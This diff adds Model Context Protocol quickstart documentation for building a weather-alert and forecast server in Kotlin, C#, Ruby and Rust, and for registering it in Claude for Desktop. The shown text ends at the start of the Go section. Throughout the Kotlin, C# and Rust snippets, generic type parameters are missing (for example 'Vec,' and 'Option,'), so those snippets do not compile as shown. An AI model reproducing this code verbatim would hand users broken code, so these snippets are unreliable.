+ data class ForecastPeriod(
+ val name: String? = null,
+ val temperature: Int? = null,
+ val temperatureUnit: String? = null,
+ val windSpeed: String? = null,
+ val windDirection: String? = null,
+ val shortForecast: String? = null,
+ )
+
+ @Serializable
+ data class AlertsResponse(val features: List = emptyList())
+
+ @Serializable
+ data class AlertFeature(val properties: AlertProperties)
+
+ @Serializable
+ data class AlertProperties(
+ val event: String? = null,
+ val areaDesc: String? = null,
+ val severity: String? = null,
+ val status: String? = null,
+ val headline: String? = null,
+ )
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```kotlin theme={null}
+ // Register weather tools
+
+ server.addTool(
+ name = "get_alerts",
+ description = "Get weather alerts for a US state. Input is a two-letter US state code (e.g. CA, NY)",
+ inputSchema = ToolSchema(
+ properties = buildJsonObject {
+ putJsonObject("state") {
+ put("type", "string")
+ put("description", "Two-letter US state code (e.g. CA, NY)")
+ }
+ },
+ required = listOf("state"),
+ ),
+ ) { request ->
+ val state = request.arguments?.get("state")?.jsonPrimitive?.content
+ ?: return@addTool CallToolResult(
+ content = listOf(TextContent("The 'state' parameter is required.")),
+ )
+
+ val alerts = httpClient.getAlerts(state)
+ CallToolResult(content = alerts.map { TextContent(it) })
+ }
+
+ server.addTool(
+ name = "get_forecast",
+ description = "Get weather forecast for a location. Note: only US locations are supported by the NWS API.",
+ inputSchema = ToolSchema(
+ properties = buildJsonObject {
+ putJsonObject("latitude") {
+ put("type", "number")
+ put("description", "Latitude of the location")
+ }
+ putJsonObject("longitude") {
+ put("type", "number")
+ put("description", "Longitude of the location")
+ }
+ },
+ required = listOf("latitude", "longitude"),
+ ),
+ ) { request ->
+ val latitude = request.arguments?.get("latitude")?.jsonPrimitive?.doubleOrNull
+ val longitude = request.arguments?.get("longitude")?.jsonPrimitive?.doubleOrNull
+ if (latitude == null || longitude == null) {
+ return@addTool CallToolResult(
+ content = listOf(TextContent("The 'latitude' and 'longitude' parameters are required.")),
+ )
+ }
+
+ val forecast = httpClient.getForecast(latitude, longitude)
+ CallToolResult(content = forecast.map { TextContent(it) })
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```kotlin theme={null}
+ fun main() = runMcpServer()
+ ```
+
+ You can run the server directly during development:
+
+ ```bash theme={null}
+ ./gradlew run
+ ```
+
+ For production use, build the shadow JAR:
+
+ ```bash theme={null}
+ ./gradlew build
+ java -jar build/libs/weather-0.1.0-all.jar
+ ```
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-03-26/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use.
+ To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor.
+ Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key.
+ The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "java",
+ "args": [
+ "-jar",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "java",
+ "args": [
+ "-jar",
+ "C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\libs\\weather-0.1.0-all.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartWeatherServer)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * C#
+ * LLMs like Claude
+ * .NET 8 or higher
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `Console.WriteLine()` or `Console.Write()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### System requirements
+
+ * [.NET 8 SDK](https://dotnet.microsoft.com/download/dotnet/8.0) or higher installed.
+
+ ### Set up your environment
+
+ First, let's install `dotnet` if you haven't already. You can download `dotnet` from [official Microsoft .NET website](https://dotnet.microsoft.com/download/). Verify your `dotnet` installation:
+
+ ```bash theme={null}
+ dotnet --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+ # Initialize a new C# project
+ dotnet new console
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+ # Initialize a new C# project
+ dotnet new console
+ ```
+
+
+ After running `dotnet new console`, you will be presented with a new C# project.
+ You can open the project in your favorite IDE, such as [Visual Studio](https://visualstudio.microsoft.com/) or [Rider](https://www.jetbrains.com/rider/).
+ Alternatively, you can create a C# application using the [Visual Studio project wizard](https://learn.microsoft.com/en-us/visualstudio/get-started/csharp/tutorial-console?view=vs-2022).
+ After creating the project, add NuGet package for the Model Context Protocol SDK and hosting:
+
+ ```bash theme={null}
+ # Add the Model Context Protocol SDK NuGet package
+ dotnet add package ModelContextProtocol --prerelease
+ # Add the .NET Hosting NuGet package
+ dotnet add package Microsoft.Extensions.Hosting
+ ```
+
+ Now let’s dive into building your server.
+
+ ## Building your server
+
+ Open the `Program.cs` file in your project and replace its contents with the following code:
+
+ ```csharp theme={null}
+ using Microsoft.Extensions.DependencyInjection;
+ using Microsoft.Extensions.Hosting;
+ using ModelContextProtocol;
+ using System.Net.Http.Headers;
+
+ var builder = Host.CreateEmptyApplicationBuilder(settings: null);
+
+ builder.Services.AddMcpServer()
+ .WithStdioServerTransport()
+ .WithToolsFromAssembly();
+
+ builder.Services.AddSingleton(_ =>
+ {
+ var client = new HttpClient() { BaseAddress = new Uri("https://api.weather.gov") };
+ client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("weather-tool", "1.0"));
+ return client;
+ });
+
+ var app = builder.Build();
+
+ await app.RunAsync();
+ ```
+
+
+ When creating the `ApplicationHostBuilder`, ensure you use `CreateEmptyApplicationBuilder` instead of `CreateDefaultBuilder`. This ensures that the server does not write any additional messages to the console. This is only necessary for servers using STDIO transport.
+
+
+ This code sets up a basic console application that uses the Model Context Protocol SDK to create an MCP server with standard I/O transport.
+
+ ### Weather API helper functions
+
+ Create an extension class for `HttpClient` which helps simplify JSON request handling:
+
+ ```csharp theme={null}
+ using System.Text.Json;
+
+ internal static class HttpClientExt
+ {
+ public static async Task ReadJsonDocumentAsync(this HttpClient client, string requestUri)
+ {
+ using var response = await client.GetAsync(requestUri);
+ response.EnsureSuccessStatusCode();
+ return await JsonDocument.ParseAsync(await response.Content.ReadAsStreamAsync());
+ }
+ }
+ ```
+
+ Next, define a class with the tool execution handlers for querying and converting responses from the National Weather Service API:
+
+ ```csharp theme={null}
+ using ModelContextProtocol.Server;
+ using System.ComponentModel;
+ using System.Globalization;
+ using System.Text.Json;
+
+ namespace QuickstartWeatherServer.Tools;
+
+ [McpServerToolType]
+ public static class WeatherTools
+ {
+ [McpServerTool, Description("Get weather alerts for a US state code.")]
+ public static async Task GetAlerts(
+ HttpClient client,
+ [Description("The US state code to get alerts for.")] string state)
+ {
+ using var jsonDocument = await client.ReadJsonDocumentAsync($"/alerts/active/area/{state}");
+ var jsonElement = jsonDocument.RootElement;
+ var alerts = jsonElement.GetProperty("features").EnumerateArray();
+
+ if (!alerts.Any())
+ {
+ return "No active alerts for this state.";
+ }
+
+ return string.Join("\n--\n", alerts.Select(alert =>
+ {
+ JsonElement properties = alert.GetProperty("properties");
+ return $"""
+ Event: {properties.GetProperty("event").GetString()}
+ Area: {properties.GetProperty("areaDesc").GetString()}
+ Severity: {properties.GetProperty("severity").GetString()}
+ Description: {properties.GetProperty("description").GetString()}
+ Instruction: {properties.GetProperty("instruction").GetString()}
+ """;
+ }));
+ }
+
+ [McpServerTool, Description("Get weather forecast for a location.")]
+ public static async Task GetForecast(
+ HttpClient client,
+ [Description("Latitude of the location.")] double latitude,
+ [Description("Longitude of the location.")] double longitude)
+ {
+ var pointUrl = string.Create(CultureInfo.InvariantCulture, $"/points/{latitude},{longitude}");
+ using var jsonDocument = await client.ReadJsonDocumentAsync(pointUrl);
+ var forecastUrl = jsonDocument.RootElement.GetProperty("properties").GetProperty("forecast").GetString()
+ ?? throw new Exception($"No forecast URL provided by {client.BaseAddress}points/{latitude},{longitude}");
+
+ using var forecastDocument = await client.ReadJsonDocumentAsync(forecastUrl);
+ var periods = forecastDocument.RootElement.GetProperty("properties").GetProperty("periods").EnumerateArray();
+
+ return string.Join("\n---\n", periods.Select(period => $"""
+ {period.GetProperty("name").GetString()}
+ Temperature: {period.GetProperty("temperature").GetInt32()}°F
+ Wind: {period.GetProperty("windSpeed").GetString()} {period.GetProperty("windDirection").GetString()}
+ Forecast: {period.GetProperty("detailedForecast").GetString()}
+ """));
+ }
+ }
+ ```
+
+ ### Running the server
+
+ Finally, run the server using the following command:
+
+ ```bash theme={null}
+ dotnet run
+ ```
+
+ This will start the server and listen for incoming requests on standard input/output.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-03-26/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "dotnet",
+ "args": ["run", "--project", "/ABSOLUTE/PATH/TO/PROJECT", "--no-build"]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "dotnet",
+ "args": [
+ "run",
+ "--project",
+ "C:\\ABSOLUTE\\PATH\\TO\\PROJECT",
+ "--no-build"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `dotnet run /ABSOLUTE/PATH/TO/PROJECT`
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Ruby
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `puts` or `print`, as they write to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### Quick Examples
+
+ ```ruby theme={null}
+ # ❌ Bad (STDIO)
+ puts "Processing request"
+
+ # ✅ Good (STDIO)
+ require "logger"
+ logger = Logger.new($stderr)
+ logger.info("Processing request")
+ ```
+
+ ### System requirements
+
+ * Ruby 2.7 or higher installed.
+
+ ### Set up your environment
+
+ First, let's make sure you have Ruby installed. You can check by running:
+
+ ```bash theme={null}
+ ruby --version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Create a Gemfile
+ bundle init
+
+ # Add the MCP SDK dependency
+ bundle add mcp
+
+ # Create our server file
+ touch weather.rb
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Create a Gemfile
+ bundle init
+
+ # Add the MCP SDK dependency
+ bundle add mcp
+
+ # Create our server file
+ new-item weather.rb
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up constants
+
+ Open `weather.rb` and add these requires and constants at the top:
+
+ ```ruby theme={null}
+ require "json"
+ require "mcp"
+ require "net/http"
+ require "uri"
+
+ NWS_API_BASE = "https://api.weather.gov"
+ USER_AGENT = "weather-app/1.0"
+ ```
+
+ The `mcp` gem provides the Model Context Protocol SDK for Ruby, with classes for server implementation and stdio transport.
+
+ ### Helper methods
+
+ Next, let's add helper methods for querying and formatting data from the National Weather Service API:
+
+ ```ruby theme={null}
+ module HelperMethods
+ def make_nws_request(url)
+ uri = URI(url)
+ request = Net::HTTP::Get.new(uri)
+ request["User-Agent"] = USER_AGENT
+ request["Accept"] = "application/geo+json"
+
+ response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) do |http|
+ http.request(request)
+ end
+
+ raise "HTTP #{response.code}: #{response.message}" unless response.is_a?(Net::HTTPSuccess)
+
+ JSON.parse(response.body)
+ end
+
+ def format_alert(feature)
+ properties = feature["properties"]
+
+ <<~ALERT
+ Event: #{properties["event"] || "Unknown"}
+ Area: #{properties["areaDesc"] || "Unknown"}
+ Severity: #{properties["severity"] || "Unknown"}
+ Description: #{properties["description"] || "No description available"}
+ Instructions: #{properties["instruction"] || "No specific instructions provided"}
+ ALERT
+ end
+ end
+ ```
+
+ ### Implementing tool execution
+
+ Now let's define our tool classes. Each tool subclasses `MCP::Tool` and implements the tool logic:
+
+ ```ruby theme={null}
+ class GetAlerts < MCP::Tool
+ extend HelperMethods
+
+ tool_name "get_alerts"
+ description "Get weather alerts for a US state"
+ input_schema(
+ properties: {
+ state: {
+ type: "string",
+ description: "Two-letter US state code (e.g. CA, NY)"
+ }
+ },
+ required: ["state"]
+ )
+
+ def self.call(state:)
+ url = "#{NWS_API_BASE}/alerts/active/area/#{state.upcase}"
+ data = make_nws_request(url)
+
+ if data["features"].empty?
+ return MCP::Tool::Response.new([{
+ type: "text",
+ text: "No active alerts for this state."
+ }])
+ end
+
+ alerts = data["features"].map { |feature| format_alert(feature) }
+ MCP::Tool::Response.new([{
+ type: "text",
+ text: alerts.join("\n---\n")
+ }])
+ end
+ end
+
+ class GetForecast < MCP::Tool
+ extend HelperMethods
+
+ tool_name "get_forecast"
+ description "Get weather forecast for a location"
+ input_schema(
+ properties: {
+ latitude: {
+ type: "number",
+ description: "Latitude of the location"
+ },
+ longitude: {
+ type: "number",
+ description: "Longitude of the location"
+ }
+ },
+ required: ["latitude", "longitude"]
+ )
+
+ def self.call(latitude:, longitude:)
+ # First get the forecast grid endpoint.
+ points_url = "#{NWS_API_BASE}/points/#{latitude},#{longitude}"
+ points_data = make_nws_request(points_url)
+
+ # Get the forecast URL from the points response.
+ forecast_url = points_data["properties"]["forecast"]
+ forecast_data = make_nws_request(forecast_url)
+
+ # Format the periods into a readable forecast.
+ periods = forecast_data["properties"]["periods"]
+ forecasts = periods.first(5).map do |period|
+ <<~FORECAST
+ #{period["name"]}:
+ Temperature: #{period["temperature"]}°#{period["temperatureUnit"]}
+ Wind: #{period["windSpeed"]} #{period["windDirection"]}
+ Forecast: #{period["detailedForecast"]}
+ FORECAST
+ end
+
+ MCP::Tool::Response.new([{
+ type: "text",
+ text: forecasts.join("\n---\n")
+ }])
+ end
+ end
+ ```
+
+ ### Running the server
+
+ Finally, initialize and run the server:
+
+ ```ruby theme={null}
+ server = MCP::Server.new(
+ name: "weather",
+ version: "1.0.0",
+ tools: [GetAlerts, GetForecast]
+ )
+
+ transport = MCP::Server::Transports::StdioTransport.new(server)
+ transport.open
+ ```
+
+ Your server is complete! Run `bundle exec ruby weather.rb` to start the MCP server, which will listen for messages from MCP hosts.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-03-26/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "bundle",
+ "args": ["exec", "ruby", "weather.rb"],
+ "cwd": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "bundle",
+ "args": ["exec", "ruby", "weather.rb"],
+ "cwd": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your project directory in the `cwd` field. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `bundle exec ruby weather.rb` in the specified directory
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Rust programming language
+ * Async/await in Rust
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `println!()` or `print!()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files, such as `tracing` or `log` in Rust.
+ * Configure your logging framework to avoid stdout output.
+
+ ### Quick Examples
+
+ ```rust theme={null}
+ // ❌ Bad (STDIO)
+ println!("Processing request");
+
+ // ✅ Good (STDIO)
+ eprintln!("Processing request"); // writes to stderr
+ ```
+
+ ### System requirements
+
+ * Rust 1.70 or higher installed.
+ * Cargo (comes with Rust installation).
+
+ ### Set up your environment
+
+ First, let's install Rust if you haven't already. You can install Rust from [rust-lang.org](https://www.rust-lang.org/tools/install):
+
+
+ ```bash macOS/Linux theme={null}
+ curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
+ ```
+
+ ```powershell Windows theme={null}
+ # Download and run rustup-init.exe from https://rustup.rs/
+ ```
+
+
+ Verify your Rust installation:
+
+ ```bash theme={null}
+ rustc --version
+ cargo --version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new Rust project
+ cargo new weather
+ cd weather
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new Rust project
+ cargo new weather
+ cd weather
+ ```
+
+
+ Update your `Cargo.toml` to add the required dependencies:
+
+ ```toml Cargo.toml theme={null}
+ [package]
+ name = "weather"
+ version = "0.1.0"
+ edition = "2024"
+
+ [dependencies]
+ rmcp = { version = "0.3", features = ["server", "macros", "transport-io"] }
+ tokio = { version = "1.46", features = ["full"] }
+ reqwest = { version = "0.12", features = ["json"] }
+ serde = { version = "1.0", features = ["derive"] }
+ serde_json = "1.0"
+ anyhow = "1.0"
+ tracing = "0.1"
+ tracing-subscriber = { version = "0.3", features = ["env-filter", "std", "fmt"] }
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and constants
+
+ Open `src/main.rs` and add these imports and constants at the top:
+
+ ```rust theme={null}
+ use anyhow::Result;
+ use rmcp::{
+ ServerHandler, ServiceExt,
+ handler::server::{router::tool::ToolRouter, tool::Parameters},
+ model::*,
+ schemars, tool, tool_handler, tool_router,
+ };
+ use serde::Deserialize;
+ use serde::de::DeserializeOwned;
+
+ const NWS_API_BASE: &str = "https://api.weather.gov";
+ const USER_AGENT: &str = "weather-app/1.0";
+ ```
+
+ The `rmcp` crate provides the Model Context Protocol SDK for Rust, with features for server implementation, procedural macros, and stdio transport.
+
+ ### Data structures
+
+ Next, let's define the data structures for deserializing responses from the National Weather Service API:
+
+ ```rust theme={null}
+ #[derive(Debug, Deserialize)]
+ struct AlertsResponse {
+ features: Vec,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct AlertFeature {
+ properties: AlertProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct AlertProperties {
+ event: Option,
+ #[serde(rename = "areaDesc")]
+ area_desc: Option,
+ severity: Option,
+ description: Option,
+ instruction: Option,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct PointsResponse {
+ properties: PointsProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct PointsProperties {
+ forecast: String,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastResponse {
+ properties: ForecastProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastProperties {
+ periods: Vec,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastPeriod {
+ name: String,
+ temperature: i32,
+ #[serde(rename = "temperatureUnit")]
+ temperature_unit: String,
+ #[serde(rename = "windSpeed")]
+ wind_speed: String,
+ #[serde(rename = "windDirection")]
+ wind_direction: String,
+ #[serde(rename = "detailedForecast")]
+ detailed_forecast: String,
+ }
+ ```
+
+ Now define the request types that MCP clients will send:
+
+ ```rust theme={null}
+ #[derive(serde::Deserialize, schemars::JsonSchema)]
+ pub struct MCPForecastRequest {
+ latitude: f32,
+ longitude: f32,
+ }
+
+ #[derive(serde::Deserialize, schemars::JsonSchema)]
+ pub struct MCPAlertRequest {
+ state: String,
+ }
+ ```
+
+ ### Helper functions
+
+ Add helper functions for making API requests and formatting responses:
+
+ ```rust theme={null}
+ async fn make_nws_request(url: &str) -> Result {
+ let client = reqwest::Client::new();
+ let rsp = client
+ .get(url)
+ .header(reqwest::header::USER_AGENT, USER_AGENT)
+ .header(reqwest::header::ACCEPT, "application/geo+json")
+ .send()
+ .await?
+ .error_for_status()?;
+ Ok(rsp.json::().await?)
+ }
+
+ fn format_alert(feature: &AlertFeature) -> String {
+ let props = &feature.properties;
+ format!(
+ "Event: {}\nArea: {}\nSeverity: {}\nDescription: {}\nInstructions: {}",
+ props.event.as_deref().unwrap_or("Unknown"),
+ props.area_desc.as_deref().unwrap_or("Unknown"),
+ props.severity.as_deref().unwrap_or("Unknown"),
+ props
+ .description
+ .as_deref()
+ .unwrap_or("No description available"),
+ props
+ .instruction
+ .as_deref()
+ .unwrap_or("No specific instructions provided")
+ )
+ }
+
+ fn format_period(period: &ForecastPeriod) -> String {
+ format!(
+ "{}:\nTemperature: {}°{}\nWind: {} {}\nForecast: {}",
+ period.name,
+ period.temperature,
+ period.temperature_unit,
+ period.wind_speed,
+ period.wind_direction,
+ period.detailed_forecast
+ )
+ }
+ ```
+
+ ### Implementing the Weather server and tools
+
+ Now let's implement the main Weather server struct with the tool handlers:
+
+ ```rust theme={null}
+ pub struct Weather {
+ tool_router: ToolRouter,
+ }
+
+ #[tool_router]
+ impl Weather {
+ fn new() -> Self {
+ Self {
+ tool_router: Self::tool_router(),
+ }
+ }
+
+ #[tool(description = "Get weather alerts for a US state.")]
+ async fn get_alerts(
+ &self,
+ Parameters(MCPAlertRequest { state }): Parameters,
+ ) -> String {
+ let url = format!(
+ "{}/alerts/active/area/{}",
+ NWS_API_BASE,
+ state.to_uppercase()
+ );
+
+ match make_nws_request::(&url).await {
+ Ok(data) => {
+ if data.features.is_empty() {
+ "No active alerts for this state.".to_string()
+ } else {
+ data.features
+ .iter()
+ .map(format_alert)
+ .collect::>()
+ .join("\n---\n")
+ }
+ }
+ Err(_) => "Unable to fetch alerts or no alerts found.".to_string(),
+ }
+ }
+
+ #[tool(description = "Get weather forecast for a location.")]
+ async fn get_forecast(
+ &self,
+ Parameters(MCPForecastRequest {
+ latitude,
+ longitude,
+ }): Parameters,
+ ) -> String {
+ let points_url = format!("{NWS_API_BASE}/points/{latitude},{longitude}");
+ let Ok(points_data) = make_nws_request::(&points_url).await else {
+ return "Unable to fetch forecast data for this location.".to_string();
+ };
+
+ let forecast_url = points_data.properties.forecast;
+
+ let Ok(forecast_data) = make_nws_request::(&forecast_url).await else {
+ return "Unable to fetch forecast data for this location.".to_string();
+ };
+
+ let periods = &forecast_data.properties.periods;
+ let forecast_summary: String = periods
+ .iter()
+ .take(5) // Next 5 periods only
+ .map(format_period)
+ .collect::>()
+ .join("\n---\n");
+ forecast_summary
+ }
+ }
+ ```
+
+ The `#[tool_router]` macro automatically generates the routing logic, and the `#[tool]` attribute marks methods as MCP tools.
+
+ ### Implementing the ServerHandler
+
+ Implement the `ServerHandler` trait to define server capabilities:
+
+ ```rust theme={null}
+ #[tool_handler]
+ impl ServerHandler for Weather {
+ fn get_info(&self) -> ServerInfo {
+ ServerInfo {
+ capabilities: ServerCapabilities::builder().enable_tools().build(),
+ ..Default::default()
+ }
+ }
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server with stdio transport:
+
+ ```rust theme={null}
+ #[tokio::main]
+ async fn main() -> Result<()> {
+ let transport = (tokio::io::stdin(), tokio::io::stdout());
+ let service = Weather::new().serve(transport).await?;
+ service.waiting().await?;
+ Ok(())
+ }
+ ```
+
+ Build your server with:
+
+ ```bash theme={null}
+ cargo build --release
+ ```
+
+ The compiled binary will be in `target/release/weather`.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-03-26/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/target/release/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\target\\release\\weather.exe"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running the compiled binary at the specified path
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-go)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Go
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
